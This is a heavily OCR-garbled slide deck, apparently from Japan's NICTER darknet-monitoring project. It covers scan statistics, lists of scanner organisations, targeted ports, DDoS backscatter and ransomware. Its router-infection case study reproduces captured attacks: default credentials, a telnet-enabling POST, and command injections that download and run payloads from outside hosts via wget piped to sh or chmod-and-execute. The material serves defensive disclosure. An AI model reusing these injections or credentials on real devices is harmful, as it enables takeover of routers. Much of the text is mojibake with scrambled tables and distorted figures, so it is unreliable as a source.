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Policy, Strategy, Regulation, International Standards: Governments, Organizations

Security Governance/Management

- Risk Management (Assessment and Treatment) Collaborative Activities:

- Establishment of

Security Design and Engineering Trust Relationship
- Information Sharing:
Event Monitoring and Attack behavior analysis Vulnerability Information,
Attack behavior, incidents
Research and Fundamental Security (Cryptography such as PQC..) - Joint Technology
Technology
: o development & Research
Development Environmental Security: Cloud, 5G, CPS/DT, loT/lloT... - Common Standard &
Emerging Security: Al, BigData, Zero Trust... Guidelines development
- Joint Conference and
Human factor Security: Usable Security, Awareness ... Workshop
: : : - Joint Awareness Program
Physical Security (Entrance Control, Sidechannel...) - Joint security contest

: - Experts exchanges
Conformance Assessment: ISMS, CC, |oT labeling... > 2

N:IC T) Implementation, Operation, Education — Practical actions by Organizations, G Erts T IN= )
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Cyber threats observation by

“darknet” : NICTER
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NICTER
- Is an integrated security system for countering indiscriminate cyberattacks
- based on a large-scale darknet monitoring, an automated malware analysis and their correlation
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NICTERY —2Uxv FRAIKRET (BX105F)
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2014 241.015 212,878 115,335
2015 #631.6/2 270,973 245,540
2016 91,44012 274,872 527,888
2017 #91,55912 253,086 578,750
2018 92,1692 273,292 806,877
2019 #3,756/2 309,769 1,231,331
2020 95,7055 307,985 1,849,817
2021 #95,1801& 289,946 1,747,685
2022 $95,226/2 288,042 1,833,012
2023 #6,197(8 289,686 2,260,132
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https://blog.nicter.jp/2023/10/nicter_statistics_2023_3q/

A
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2 e ECY e T TUTETT
3 Shadowserver
4 Stretchoid
5 cyber.casa
6 Academy for Internet Research
7
8 Shodan
9 UPCIT T UTT otatiotiCo
10 Palo Alto Networks
11 Arbor Networks
12 Internet Census Group
13 Net Systems
14 Global Digital Network Plus (GDNP)
15 InterneTTL-Scanner
16 Scan Opticon
17 Rapid7
18 IPIP.net
19 Stanford University
20 ONYPHE
21 BinaryEdge
22 Qrator Labs
23 QuadMetrics
24 bufferoverrun
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LeakIX
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28 Winnti Scan Host 63
29 Intrinsec 64
30 CyberGreen a5
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34 Cambridge University 68
35 project25499 69
36 tum 70
37 RWTH Aachen University 71
38 netsecscan 77
39 CyberResilience.io
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41 internet-measurement 74
42 muenster 75
43 mpi 76
44 |OStation 77
45 DIVD 78
46 ipinfo 79
47 Team Cymru

48 research-scanner.com 80
49 University of Sydney 81
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52 CAIDA 84
53 SBA 85
54 researchknoq

55 Kryptos Logic 86
56 University of Berkley 87
57 pdrlabs 88
58 Cisco Systems 89
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Tenable ASM (A BitDiscovery)
SecurityTrails
fbsvnet
ahrefs

90 The ANT Lab (Univ. of Southern California )

applebot
Internet Archive
ByteDance
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findmalwareorg
nullity.io
ScorecardResearch
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Georgia Tech Research Scanner
UC San Diego
DataGrid Surface
scanner.detectify.com
SOCRadar
Kudelski Security
Qualys SSL Labs
Ruhr Universitaet Bochem
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portscan.pro
edgewatch
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Rackspace Technology

cl

o RMARZHIMERBOH
EUWERED R

A

rizlc:

202343QIck

— FEUIE18DAF >0



BT — FESNAT Y b9 (20234F)

2023FD4FE

® {730/h—hF 41.9%hToTHEBRADINEE A— &S ERASTE SUE

® 23/TCP (Telnet) FETOIZNIERN2022FHSHAEE
e IloTH#ZzEROY—EXDR—NESFETHIEN = e

HTTP (Web&HEEHE)
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Other
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telnet & ssh

1 23fp 2fp 2oy 23ftep  2B/tp 2Bftp 2ty 23ftep 2Bftep Wftep
. 2fep 20 22/tep . 22ep 22tep

O 00 N O O & W N

O e T e S Y o Gy S G S
~N O o1 B~ W DN - O

80/tcp 80/tcp
5555/tcp  3389/tcp
6379/tcp 8080/tcp
2375/tcp  5555/tcp
443/tcp 443 /tcp
445 /tcp 81/tcp
2376/tcp 6379/tcp
81/tcp 445/tcp
8080/tcp  37125/tcp
5060/udp 2375/tcp
3389/tcp
2323/tcp 8081/tcp
123/udp.  2222/tcp
37215/tcp 123/udp
BEERY  60023/tcp
4200/tcp 2323/tcp
111/tcp  2376/tcp
8443/tcp 1433/tcp

G 60023/tcp

80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443 /tcp
81/tcp

6379/tcp

445/tcp
5060/udp

80/tcp

2376/tcp I LEYATS

123/udp
34567/tcp
8081/tcp
2222/tcp
8443/tcp
2376/tcp

80/tcp
3389/tcp  3389/tcp
37215/tcp 443 /tcp
443/tcp 6379/tcp
8080/tcp 8080/tcp
5555/tcp  5060/udp
GRIEN®  60023/tcp
5060/tcp  37215/tcp
445/tcp 5555/tcp
2375/tcp 445 /tcp
81/tcp 81/tcp
2375/tcp
123/udp 53/udp
2376/tcp 2376/tcp
34567/tcp  123/udp
53/udp 1433/tcp
8443/tcp 21/tcp
1433/tcp

8443 /tcp IRV

80/tcp
5555/tcp
3389/tcp
443/tcp
8080/tcp
37215/tcp
445/tcp

81/tcp

6379/tcp
5060/udp
2375/tcp
123/udp
8081/tcp
2376/tcp
8443 /tcp
2323/tcp

53/udp

80/tcp
8080/tcp
3389/tcp
443/tcp
5555/tcp
445/tcp
5060/udp

8081/tcp

81/tcp
2375/tcp
3128/tcp
6379/tcp
52869/tcp
2323/tcp
8443/tcp
2376/tcp
123/udp
21/tcp

80/tcp

8080/tcp
443/tcp
3389/tcp
5555/tcp
5060/udp
81/tcp

6379/tcp

445/tcp
8443/tcp
3128/tcp
8081/tcp
2375/tcp
52869/tcp
53/udp
2222/tcp
8088/tcp
21/tcp

80/tcp

80/tcp

22/tcp 8080/tcp
3389/tcp 3389/tcp
8080/tcp 443/tcp
443/tcp  5060/udp
5060/udp  8443/tcp
5555/tcp  27610/tcp
6379/tcp  15734/udp
445/tcp 6379/tcp
81/tcp 445/tcp
3128/tcp  8088/tcp
53/udp 5555/tcp
2222/tcp 53/udp
2375/tcp 2222/tcp
3291/tcp  8728/tcp
8081/tcp 2375/tcp
8443/tdp  123/udp
8088/tcp 3128/tcp

NicCcTER

Network Incident analysis Center for Tactical Emergency Response



23D Web Ul

q 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp 23/tcp_
2 22/tcp 22/tcp 22/tcp 22/tcp 22/tcp 22/tcp___
s SO MO/ e 22/ DGO e GO WSO 220 01io 22/
4 5555/tcp 3389/tcp 5555/tcp 3389/tcp 3389/tcp 5555/tcp 8080/tcp 8080/tcp 22/tcp 8080/tcp
5 6379/tcp.  8080/tcp  3389/tcp  37215/tcp[INNAAG/EP  3389/tcp  3389/tcp[INAASJEED  3389/tcp  3389/tcp
6 2375/tcp  5555/tcp  37215/tcp|NAAGJeR  6379/tcp [INNNAAS/ECDNAAS/ES  3389/tcp|  8080/tcp [INAAS/iCH
o [A4S/icy AUS/tep  8080/tcp  8080/tcp  8080/tcp|  8080/tcp  5555/tcp  5555/tcp 5060/udp
g 445/tcp 81/tcp 5555/tcp  5060/udp  37215/tcp  445/tcp  5060/udp  5060/udp| i 8443/tcn
9 2376/tcp 6379/tcp 81/tcp 6379/tcp  60023/tcp 445/tcp 5060/udp 81/tcp 5555/tcp  27610/tcp

10 81/tcp 445/tcp 6379/tcp 5060/tcp  37215/tcp 81/tcp 8081/tcp 6379/tcp 6379/tcp  15734/udp
11 8080/tcp  37125/tcp 445/tcp 445/tcp 5555/tcp 6379/tcp 81/tcp 445/tcp 445/tcp 6379/tcp
12 5060/udp  2375/tcp  5060/udp  2375/tcp 445/tcp  5060/udp  2375/tcp[ 8443/tcp 81/tcp 445 /tcp
13 3389/tcp  5060/udp  60023/tcp 81/tcp 81/tcp  2375/tcp  3128/tcp  3128/tcp  3128/tcp | NNGOGELICH
14 2323/tcp 8081/tcp 2376/tcp  60023/tcp 2375/tcp 123/udp 6379/tcp 8081/tcp 53/udp 5555/tcp
15 123/udp 2222/tcp 123/udp 123/udp 53/udp 8081/tcp  52869/tcp 2375/tcp 2222/tcp 53/udp
16 37215/tcp 123/udp  34567/tcp 2376/tcp 2376/tcp 2376/tcp 2323/tcp  52869/tcp 2375/tcp 2222/tcp
17 1433/tcp  60023/tcp  8081/tcp  34567/tcp 123/udp| | 8443/tcp|  8443/tcp 53/udp  3291/tcp  8728/tcp
18 4200/tcp 2323/tcp 2222/tcp 53/udp 1433/tcp 2323/tcp 2376/tcp 2222/tcp 8081/tcp 2375/tcp
19 111/tcp  2376/tcp| 8443/tcp|  8443/tcp 21/tcp 53/udp  123/udp|NGOBO/IEE  8443/tdp  123/udp
o | 8443Jtcp  1433/tcp  2376/tcp  1433/tcp| | B443Jtep  60023/tcp 21/tcp 21/tcp [NGOBOIEE  3128/tcp
e
N@T) | NicTER

Network Incident analysis Center for Tactical Emergency Response



Android Debug Bridge(#35& @595V I RS1Y—)V)?

q
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23/tcp
22/tcp
80/tcp
5555/tcp
6379/tcp
2375/tcp
443 /tcp
445 /tcp
2376/tcp

81/tcp

8080/tcp
5060/udp
3389/tcp
2323/tcp
123/udp
37215/tcp
1433/tcp
4200/tcp
111/tcp
8443 /tcp

23/tcp
22/tcp
80/tcp
3389/tcp
8080/tcp
5555/tcp
443 /tcp
81/tcp
6379/tcp

445/tcp

37125/tcp
2375/tcp
5060/udp
8081/tcp
2222/tcp
123/udp
60023/tcp
2323/tcp
2376/tcp
1433/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443 /tcp
81/tcp

6379/tcp

445/tcp
5060/udp
60023/tcp
2376/tcp
123/udp
34567/tcp
8081/tcp
2222/tcp
8443 /tcp
2376/tcp

23/tcp
80/tcp
22/tcp
3389/tcp
37215/tcp
443 /tcp
8080/tcp
5555/tcp
6379/tcp

5060/tcp

445/tcp
2375/tcp
81/tcp
60023/tcp
123/udp
2376/tcp
34567/tcp
53/udp
8443 /tcp
1433/tcp

23/tcp
22/tcp
80/tcp
3389/tcp
443/tcp
6379/tcp
8080/tcp
5060/udp
60023/tcp

37215/tcp

5555/tcp
445/tcp
81/tcp
2375/tcp
53/udp
2376/tcp
123/udp
1433/tcp
21/tcp
8443/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
443 /tcp
8080/tcp
37215/tcp
445 /tcp

81/tcp

6379/tcp
5060/udp
2375/tcp
123/udp
8081/tcp
2376/tcp
8443 /tcp
2323/tcp

53/udp
60023/tcp

23/tcp
22/tcp
80/tcp
8080/tcp
3389/tcp
443 /tcp
5555/tcp
445/tcp
5060/udp

8081/tcp

81/tcp
2375/tcp
3128/tcp
6379/tcp
52869/tcp
2323/tcp
8443 /tcp
2376/tcp
123/udp
21/tcp

23/tcp
80/tcp
22/tcp
8080/tcp
443/tcp
3389/tcp
5555/tcp
5060/udp
81/tcp

6379/tcp

445/tcp
8443/tcp
3128/tcp
8081/tcp
2375/tcp
52869/tcp
53/udp
2222/tcp
8088/tcp
21/tcp

23/tcp 23/tcp
80/tcp 80/tcp
9077/tcp 22/tcp
22/tcp 8080/tcp
3389/tcp 3389/tcp
8080/tcp 443 /tcp
443/tcp  5060/udp
5060/udp 8443/tcp
B556/tcp  27610/tcp
6379/tcp  15734/udp
445/tcp 6379/tcp
81/tcp 445/tcp
3128/tcp 8088/tcp
53/udp 5555/tcp
2222/tcp 53/udp
2375/tcp 2222/tcp
3291/tcp 8728/tcp
8081/tcp 2375/tcp
8443/tdp 123/udp
8088/tcp 3128/tcp

NicTER

Network Incident analysis Center for Tactical Emergency Response




RDP & SMB(Server Message Block)

q 23/tcp
5 22/tcp
3 80/tcp
A 5555/tcp

6379/tcp
2 2375/tcp
6 443/tcp
L ws/ep
8 2376/tcp
9
10 81/tcp
11 8080/tcp
12 5060/udp
13 3389/tcp
14 2323/tcp
15 123/udp
16 37215/tcp
17 1433/tcp
18 4200/tcp
111/tcp
8443 /tcp

SMB: WindowsZHIHh&ELI=RYRNT—I ETCI7AILOT) 23— ED))—R%

23/tep
22/tcp
80/tcp
3389/tcp
8080/tcp
5555/tcp
443/tcp
81/tcp
6379/tcp

23/tep
22/tcp
80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443/tcp
81/tcp

6379/tcp

23/tep
80/tcp
22/tcp
3389/tcp
37215/tcp
443 /tcp
8080/tcp
5555/tcp
6379/tcp

5060/tcp

2375/tcp
5060/udp
8081/tcp
2222/tcp
123/udp
60023/tcp
2323/tcp
2376/tcp
1433/tcp

5060/udp
60023/tcp
2376/tcp
123/udp
34567/tcp
8081/tcp
2222/tcp
8443/tcp
2376/tcp

81/tcp
60023/tcp
123/udp
2376/tcp
34567/tcp
53/udp
8443/tcp
1433/tcp

XEFITLH-HOTOra)L

23/tep
22/tcp
80/tcp
3389/tcp
443/tcp
6379/tcp
8080/tcp
5060/udp

23/tep
22/tcp
80/tcp
5555/tcp
3389/tcp
443 /tcp
8080/tcp

37215/tcp

5555/tcp

81/tcp
2375/tcp
53/udp
2376/tcp
123/udp
1433/tcp
21/tep
8443 /tcp

81/tcp

6379/tcp
5060/udp
2375/tcp
123/udp
8081/tcp
2376/tcp
8443 /tcp
2323/tcp

53/udp
60023/tcp

51/t ST RS

23/tep 23/tcp
22/tcp 80/tcp
80/tcp 22/tcp
8080/tcp 8080/tcp
3389/tcp 443 /tcp
443 /tcp 3389/tcp
5555/tcp 5555/tcp
5060/udp

5060/udp 81/tcp
8081/tcp  6379/tcp
2375/tcp 8443 /tcp
3128/tcp 3128/tcp
6379/tcp  8081/tcp
52869/tcp 2375/tcp
2323/tcp  52869/tcp
8443 /tcp 53/udp
2376/tcp  2222/tcp
123/udp  8088/tcp
21/tcp 21/tcp

23/tep
80/tcp
9077/tcp
22/tcp
3389/tcp
8080/tcp
443/tcp
5060/udp
5555/tcp

6379/tcp

23/tcp ——

80/tcp
22/tcp
8080/tcp
3389/tcp
443 /tcp
5060/udp
8443/tcp
27610/tcp

15734/udp

6379/tcp

o1/t [NEAIRED

3128/tcp 8088/tcp

53/udp 5555/tcp
2222/tcp 53/udp
2375/tcp 2222/tcp
3291/tcp 8728/tcp
8081/tcp 2375/tcp
8443/tdp  123/udp
8088/tcp 3128/tcp

NicCcTER

Network Incident analysis Center for Tactical Emergency Response



-
23/tcp

22/tcp
80/tcp
5555/tcp
6379/tcp
2375/tcp
443 /tcp
445/tcp
2376/tcp

81/tcp

8080/tcp
5060/udp
3389/tcp
2323/tcp
123/udp
37215/tcp
1433/tcp
4200/tcp
111/tcp
8443/tcp

IoTH23DARIEE

23/tcp
22/tcp
80/tcp
3389/tcp
8080/tcp
5555/tcp
443 /tcp
81/tcp
6379/tcp

445 /tcp

37125/tcp
2375/tcp
5060/udp
8081/tcp
2222/tcp
123/udp
60023/tcp
2323/tcp
2376/tcp
1433 /tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
37215/tcp
8080/tcp
443 /tcp
81/tcp

6379/tcp

445/tcp
5060/udp
60023/tcp
2376/tcp
123/udp
34567/tcp
8081/tcp
2222/tcp
8443/tcp
2376/tcp

23/tcp
80/tcp
22/tcp
3389/tcp
37215/tcp
443 /tcp
8080/tcp
5555/tcp
6379/tcp

5060/tcp

445/tcp
2375/tcp
81/tcp
60023/tcp
123/udp
2376/tcp
34567 /tcp
53/udp
8443/tcp
1433/tcp

23/tcp
22/tcp
80/tcp
3389/tcp
443 /tcp
6379/tcp
8080/tcp
5060/udp
60023/tcp

37215/tcp

5555/tcp
445/tcp
81/tcp
2375/tcp
53/udp
2376/tcp
123/udp
1433/tcp
21/tcp
8443/tcp

23/tcp
22/tcp
80/tcp
5555/tcp
3389/tcp
443 /tcp
8080/tcp
37215/tcp
445/tcp

81/tcp

6379/tcp
5060/udp
2375/tcp

123/udp

Jun-23

23
22

8080
3389

5555
445

Jul-23
8291 /tcp MikroTik Router OS Winbox
80/ 8728/tcp MikroTik Router OS API
34567/tcp Xiongmai DVR API
443, 37215/tcp Huwaei HG532 Router
52869/tcp Realtek SDK

Aug-23 Sep-23

5060/udp
8081/tcp

81/tcp
2375/tcp
3128/tcp
6379/tcp

2376/tcp
8443/tcp
2323/tcp
53/udp
60023/tcp

8443/tcp
2376/tcp
123/udp

21/tcp

81/tcp 5555/tcp  27610/tcp
6379/tcp 6379/tcp  15734/udp
445/tcp 445 /tcp 6379/tcp
8443/tcp 81/tcp 445 /tcp
3128/tcp 3128/tcp 8088/tcp
8081/tcp 53/udp 5555/tcp
2375/tcp 2222/tcp 53/udp
2375/tcp 2222/tcp
53/uco RIS
2222/tcp 8081/tcp 2375/tcp
8088/tcp 8443/tdp 123/udp
21/tcp 8088/tcp 3128/tcp
NIiCTER

Network Incident analysis Center for Tactical Emergency Response
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=H) 2023F D REEHEER I LTEIL—X

® Rooster Series (Sundenshi Co.,Ltd.) (BYEFI—-F3U-X)
v LTE router .
v liveness monitoring
v’ automatic recovery
v remote maintenance
v Infected via management Web IF with default ID/Password

(FIANWMDID/)KAD— RTEERYIT IFEHT L)

® HWL-2511-SS (HYTEC INTER Co., Ltd.) (&ZER)
v LTE router for small industrial system
v Infected via management Web IF with no ID/Password

(ID/NNAD—RELUCTEHEDUIT IFZHTERS)
N<I§7? CYBERSECURITY

Laboratory
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OB FHRENMIVII—YRRDEE

censys QHosts ~ | ¥ | ((services.port="6666") and services.service_name= TELNET') and locaticn.coun %
® 2023/7/11 DRERRRA N E2HHRELZEC S, e
tr—)\Nv4(Cthttpd t:@j/_ﬁZ_té?O/T\Z MEDRIL7Z o
F£7/=.6666/TCPTTelnethABZNZo7= el g S

Server: thttpd/2.25b 29declig3l

o NICTCHREBUTL\DHIEREERALIZEC S,
O EFDRooster ) —XHEIU/INF—% k9 Z & HVH|BA

® 7/12KVEMN\-—RyIESEL. ERIAEER

LAN/WANYJYE X alge7Rik— b
—|c7O—/VIVIPPRLRZEY YT TED




POST /setup?misc_telnet.html HTTP/1.1

m ‘ Host: 133.4.184.118:80
Authorization: Basic YWRtaW4eMTIzNA==
Ez ‘EI User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
$ l 103.0.0.8 Safari/537.36
" Content-Length: 62

telnet=18&portnumber=6666&lan=1&remote2=1&5ubmit=+%COXDFXCAXEA+HTTP/1.0 2808 OK
job 37858 at 2013-89-19 17:81
X-FRAME-OPTIONS: SAMEORIGIN

® 2023/7/29 12:38CAKXWARENOTA R

<1DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.81 Transitional//EN" “http://www.w3.org/TR/htmld/loose.dtd">

I:Iit €EEI:IIL;\ <htnl>

_ <head>»
v %{57T:141.98.6.31 PR A o L
v IDEICZT—RODMA :ignk:;FZE-E;U:?;;;";";;:;;-.;-.-';;i;-'-;;;,i;;a;;ﬁ’t;p;?text,css-->
b EE/EUL/T ODIQ:L/{—FODJEL) 7_;7]\ IQE‘Z%@ZOIJ 7 ho)Hj;Eb\lLa\ <body>
INEZRFZRW Tz admin:1 234 LSHIIRD R Ty FITHERIRL o[-

<div class="sta"»

° admm_OOOO :jg;:>class=“step5“> ........ </span>
e admin:1234 Ireas
® admin:admin

admin:password Packet for Telnhet activation
® root:

‘/ Iﬁi"@;m,n

BRICT—/I\AYY DIEHREEZRL Cthttpd T UEFDIL—IHHIE ?
6666/TCP(Telnet)\ 7OLEXDMER(FPIOLRATENILEA)
80/TCPA admin:1234<cO7142L7TC. TelnethB®L(6666/TCP)
80/TCPA BASICEREEDBEHRZEL TroEA(1&—H#8)

6666/TCP(Telnet)N 7oLERALUTpinghSIVIRET
ping ;. cd /tmp; waet hxxp.//141[.198.6.31/rooster -O- | sh

S"P.‘”!\’-—‘

:'—HHEH

.-l"l CYBEEEECUERITY HEKL]
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CENTII—I—DEEDER h

o AMETIE, H—=DFW o Censys. J\Z—7Rhw - T2 RRy I RXEZHL
THEARAL - DFETOEN. IL—IHEESSBEKRICHRES (L S f= SRR L
TWLD, HIRIL, BB FRD)L—F—(F,. THEEEICWeb UIH'LANEIDFH
A—T2NCIR>THED., BBRTIRRHUIeA XA N—Z— (OA—Y—: S XFA
125700 —45—) ERNICA-—T VERTEICEELUZEDEHERIENS,

« 5. REEEICR>TWLWEZICEMDNDST, )\ X D— RIFZEEINTLR
ANy [l

® Ul FD2m WS EIDIRESHCDRMN>IzEEZEND. U L. (B2EFD

IL—9—T) BFDT7—LDT 7 T/IRI— ROEBHMH SN TS0,
1—H— (REE) OTF1UT1EBOELNRERESS.




Mobile Router of HYTEC INTER
INA T4 05 —FEIN1IVIL—F
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EETORE -

« ShodanZEFERHUTCHEELZEZS. SNMPElighttpd (51 MMWebth—/\VU D
M) DABRAFRESN TN Z

« SNMP information mcludeﬁn@el number:HWL 2511-SS
(SNMP®DEHRIC (&, BIBEHECH,
- HTTPS page identified |
the device’s WebUI revsm "ghttpd
(HTTPSOAR—I(ZIZ. ceeristion s

Accept-Ranges: bytes

versions:

ETag: "988416651"
2 [m] 1 Last-Mmodified: Mon, @5 Oct 2028 12:27:31 GMT
*&%ﬁwwe b U I %EE I:"Ll\ Lj 7_ ) El Content-Length: 13853

lame Date: Sat, 21 OCt 2823 @4:29:21 GMT

ordescr: The MIE module for managing IP and ICMP implementations serverf lighttpd/1.4.2e

Engineid F text

Contact: support@hytec.ce.jp

oruptime: 98
gine Boots:

Engineid Data: S88e1T5884383A333033333739383837354330354643

Enterprise: Ea72
objectid: 1.3.6.1.4.1.43532.1.1

CY'NE=

CYBERSECURITY NEXUS



R UI=E'/INTIVIL—5 DWebUI

J (RSSI: -55 dBm) NTT DOCOMO NTT DOCOMO

Status

.
=
=
[=
17}
flel

I

]

—
-

#

VPN

- 1]

Firewall

Service

Management

!

*

Diagnosis

Attr. Value

Status Alarm OFF

Attr. Value
Latitude 0
Longitude 0
Horizontal 0
Altitude 0
Date (UTC)

Time (UTC)

Satellite 0

v LTE

Attr. Value

SIM Status Ready

Operator NTT DOCOMO NTT DOCOMO
Modem Access FDD LTE

IMSI 440103265154324

Phone Number 02001011870096

Uptime: 2:17:17 WAN Priority: LTE Only Location: (0.00, 0.00) _ [ENLIEREY  English v -

O04 A ABETCRAT—YAEHEZERTDI_ENTE, 272U, APN(Access Point

Name (35555 s

=S ) ) DFESRIL /N R D — R &Ko BNz

>

CYBERSECURITY



_ EX
_ SzaslCOWLT -
« OJHKUSNPDIFFRDNS INA T T 14 25 —HRASHDHNL-2511-SSHEE R S N
CTLSHREENSVEHIBITED

A R—tyb iSO WEBGUI ~DFHERETAVILET,

1) FEF— 3R NS, [Firewal] = [P Fitte] MIEIZSUvSLET .,
2) Enable & Black [SF Ty 7% AN T, Edit RELESIVILET,

foriw ]

+ HIL-2511-SSDY = 2 PIVERR L EC 5. =
T A B TlEWebUIRRFETH D EMHIBAL 7

TCP:443 3ETICHKS/ VrubET0vs§HILET, A a—Ryh R L ABED WEBGUI
IZEOF A HERYET

CY'NE=

CYBERSECURITY NEXUS




_ WEOEA
* 443/TCPClighttpd1.4.30Z&3R 9 /\=—RY b Z{ER LTz & Z 5.
WEZEANT DI ENTE,

GET /cgi-bin/popen.cgi?command=ping;wget®20-0%20/tmp/Hyteck20http://203.23.128.62:108081/download /Hytec; chmod®20777%28/
tmp/Hytec; /tmp/Hyteck282871ed18981c4316b59889f4edIb5dBbik2026755& HTTP/1.1

vost . [N 2> . >
User-Agent: Mozilla/5.8 (Windows NT 18.8; Win6d; x64) AppleWebKit/537.36 (KK o -
537.36 71L& HyteclZ8E>TL\S
Accept-Encoding: gzip, deflate

Accept: text/plain, */*; g=0.81

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

HTTP/1.1 288 OK

Server: lighttpd/1.4.38

Content-Type: text/plain; charset=UTF-8
Date: Mon, 89 Oct 20823 @7:23:36 GMT
Last-Modified: Fri, 22 Sep 20823 84:34:28 GMT
Accept-Ranges: bytes

Connection: close

Content-Length: ©

CY'NE=

CYBERSECURITY NEXUS




NTI125 - MNIFHRIRBZENE

« BHRNRZ/NA T OA4 Y-S AICHE
c NATOA V- Al BICIBRLTHY, St
%(:i}lj—céjﬂj\—c\/\t 1. 77—LOxT7RBHN—VavicTyIF—Fh

2. A—H—NAD—RRNTIOXZULOFEDEDICEFTTS

o 35 7‘:_: . 1|§IE J7— N :E) ﬁﬁ%ﬂ\i n't' L \7‘:_: 3. WEB GUI%ABIL %L\ (WEB Mode 2HTTPICRE S 3)

4, ABETAESIR HTTPSOAR—FEEE10000BLU LOLDICEETS
5. A2 A=y SOPINGICHEELEWETEICTS

« IOIS, RESNIEFHITI7—LD T 7 EFEE -

FRTEIEER. CESFTFA—FESE10000B UL EOHBDICEETS

gH2EF1VTAERTIE. [INRT—FD S

FEATAHEER.TEBL R —FESZ10000 B U LOBDICEET S

ZEEHRBBRYNebUIZRAL 3L 5] 125

HERATIBEIE. FIL— TR —LEHHAE (Public) h5EETS
==y \
BN

[Important] Vulnerability Report on LTE Router
HWL-2511-SS from
[EE]LTEJL—% HWL-2511-SSORE5EEICRT SRS

CY'NE=
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Backscatter: Darknet/Z&k5DDoS&3:H

DoS/DDoSHE L. H—/\PRYRT—TIZKED /N VE
EETAHET, H—/\DY—REMgsE=Y ., RvkDT—5
DFEEEZHALZYLT, Y—n\PORysT—O DR AEZE
7:'J~')'—t§EE/JtLT_Iﬂ Tﬁ)é




Backscatter: bboS £

DoS DEH—/N

EETIPPRELRAZREFRLI=KED /7y
k (TCP SYN) B3 2—4 sy b Y —/\—(Z5E1(E
Shd,

DoSIEEE (HE )~ A

4

nicrer

300000 darknet
(RERA7FL RXZEM)

BRY—N\E, BTk
(TCP SYN-ACK)ZEEfRch 1=
-Ij-_/ {':ﬁgj_éo



Jhnl

=25 TS ZAHB0 (1)

AR

HER

IP7 KL X

Passive DNS

ASHHEB

7y /B

2024/6/4 1 S S
024/l Rawbank 85.31.236.17 rawbank.com rawbank.com 47583 Fesiigar IS = 7 TREAME (0RO I
. . . . . . . J'Lllf_‘_—l\ % | 2 =) 4
2024/6/5 Limited - W % B < 2 iR
2024/6/5 A r-77R 91.229.231.196 airparif.asso.fr  |gitlab.airparif.fr, gitlab.airparif.asso.frf 1299 Arelion Sweden AB 391 77 v ADKTEERIFT
2024/6/6 77V ARBEUMBE entreprendre.gouv.fr, service-public- 1834 )
(Ministry of Economics and 160.92.168.33 gouv.fr asso.gouv.fr, service-public- 47957 Worldline IGSA SA
2024/6/7 Finance) pro.gouv.fr, etc 677
2024/6/7 Yahoo France 77.238.180.12 yahoo.com e2.ycpi.vip.fra.yahoo.com 203070 Yahoo-UK Limited 5719 -
2024/6/9 — . L cay] ST & 552
v AEALE x>
77 ._;Zﬂj%ﬁﬂjb 134.59.171.248 cnrs.fr ponset.ipmc.cnrs.fr 2200 Renater -
2024/6/10 23
eclat-bfc.com, eclat-bfc.fr, eclat T == 0 755 ais
2024/6/12 ECLAT-BFCZ'H Y = 7 80.247.238.69 eclat-bfc.com T o 15826 NFrance Conseil 48 OV T HIE O BE KR T
bfc.eu, etc =05 N
TYRIV] = ANR=X
2024/6/14 Yahoo7 7 > X 77.238.180.12 yahoo.com e2.ycpi.vip.fra.yahoo.com 203070 Yahoo-UK Limited 340 -
2024/6/18 9067
HackThisSite 137.74.187.100 hackthissite.org | hackthissite.org, hp.hackthissite.org 16276 OVH SAS -
2024/6/19 565
2024/6/23 77 v ABEH 158.50.210.34 afp.de afp.de, www-v3.afp.com 10806 AFP-NET 24 -
o N S S = . burgerking.fr, burgerkingreunion.re, MICROSOFT-CORP-MSN-
/N — = -
2024/6/27 H—F>7 77X 20.199.109.200 burgerking.fr tupreferesking.com, etc 8075 AS-BLOCK 390
= N . . . . Societe Francaise Du
2024/6/28 | 7 T v RANFS - EREIFE | 77.158.88.131 | diplomatie.gouv.fr | www.france.diplomatie.gouv.fr 15557 Radiotelephone - SFR SA 16
2024/7/7 75 AERKEE 193.51.147.49 | education.gouv.fr delos.education.gouv.fr, 2200 Renater 707 -

exaco.phm.education.gouv.fr
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E9H2H16:00LEMNBRILODRAREH

TCP_OTHER
ICHP .
B =

X 1

TN 24000 B 7Ny N /E

FEl

D LEER B R EZESYN-ACK/ Ny R VER B S L= o SYN-ACK/ N YR D EE TT
B (DosH—7 Vb M LIS MBI OCMEREFLEDN D, Web N
 H—/\(80/tcp) IZxtF ADDoSIHLE D #HK TH B,

DIIC T &R




NICTERICK & —7 %Y MRAITIE

|} TCP packets (all) SYN-ACK packets

A |
AN / “'-JN",A‘/ /"\: |k A I

A A I\ 2
/\"\'N ﬁ'.\/—'\_/ﬁ'.."”\,\.vf/ M&uf WAN S \\i L""\J Y-V

20/09/02 03:00 20/09/02 06:00 20/09/02 09.00

20/09/02 12:00

TCP Packets (all)
4 l,
\ | \
P sntca ) ‘I'l I" \\;“ ] ”|| I '||| |
( \ WV VN L[] Y [ || !A
‘ \,"V | \.‘,'\‘ W/ An Mo A (1] | ] | |
v V \/ n’' \ w \ / || \’,1 ’\‘ Ll a Y
1 (T POV A \""w’,w \ ’ | \WUWH
‘ |
| |
‘ jll
I~
TCP SYN-ACK packets
Backscatter
20/09/03 00:00 20/09/03 03:00 20/09/03 06:00 20/09/03 09:00

September 2,
2020, 16pm

10,000,000

8,000,000

6,000,000

4,000,000

2,000,000

0

10,000,000

8,000,000

6,000,000

4,000,000

2,000,000


https://twitter.com/nicter_jp/status/1301386825949302784/photo/2
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Ransomware
YL 2T T7IcDUNT

CryptoLocker in 2014, TeslaCrypt in 2015, Locky in 2016
and WannaCry in 2017. Since then, ransomware attacks have
increased.

(20 145EICiETUIE CryptoLlocker |, 20 155EICETUE
'TeslaCrypt . 2016XEICiRITUIS Locky 1, XHIC, 201 T7FEICE
imUIc WannaCry |, €0)1&. S -1 067277 EUTOIXEEFIEMD)




Screenshot of WannaCry when infected
(WannaCryhiEiRU ISR O)EIM)

OQoops, your files have been encrypted! Japanese

FOAE 12— RITREI >FOTTRH?
EER 7y A LEESEIhTVET,

